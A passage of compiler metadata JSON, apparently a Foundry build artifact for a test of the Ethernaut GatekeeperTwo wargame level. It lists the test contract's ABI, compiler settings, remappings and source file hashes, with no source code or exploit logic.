:\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/GatekeeperTwo.t.sol\":\"TestGatekeeperTwo\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/GatekeeperTwoAttack.sol\":{\"keccak256\":\"0x2dc68eec246c0569993ce227bc6f5280bfa0a130c07d2543b058cb69dfe199d4\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c5dcef793c7f8d8017b966e2052c25eaa06deb7c8c83f1f6943ef5442b4d915e\",\"dweb:/ipfs/QmehnoQbe2VZVYuJo6pmHtuo8oMmTJnV4XHpZ1sxx3Q112\"]},\"src/levels/GatekeeperTwo.sol\":{\"keccak256\":\"0x8ead9cd2035c04cc27a3e58f4d0c2b67279668354f87ebfccd0bec8580b9b2f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://32a70f3e50165369d1febe0fb8f748cb83616fec2cecf76062dcf6b758331a92\",\"dweb:/ipfs/Qmd6cEi9rVPF2JRFAc97xmAoTe4Fv5HecERQuhjaYUpHsd\"]},\"src/levels/GatekeeperTwoFactory.sol\":{\"keccak256\":\"0xc2bb7dcf22a19b6c937a167b47f43197507c60021e4d0b8f64a5fd6ac33f78d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://cce7e423b14ab033972b7f782225df3f65d0582af6ceb8888f0dba3c362dc6aa\",\"dweb:/ipfs/QmPXNhJYFwuJgei6cX2ovK6HoAYX1syicpCEf1tXyfk45N\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/GatekeeperTwo.t.sol\":{\"keccak256\":\"0xaba4701a81e6b47cf9abbddc265289c7f0bab4654bfc2201f65ccddd416bf644\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ab76e5fa92785af976ac6357a9e44d9a80368450752ff661e105ef0e5426695b\",\"dweb:/ipfs/QmQTCbu5iCxS1qKTkP4QbHqucMKkqynYHvqiuqRYN5VnXp\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anon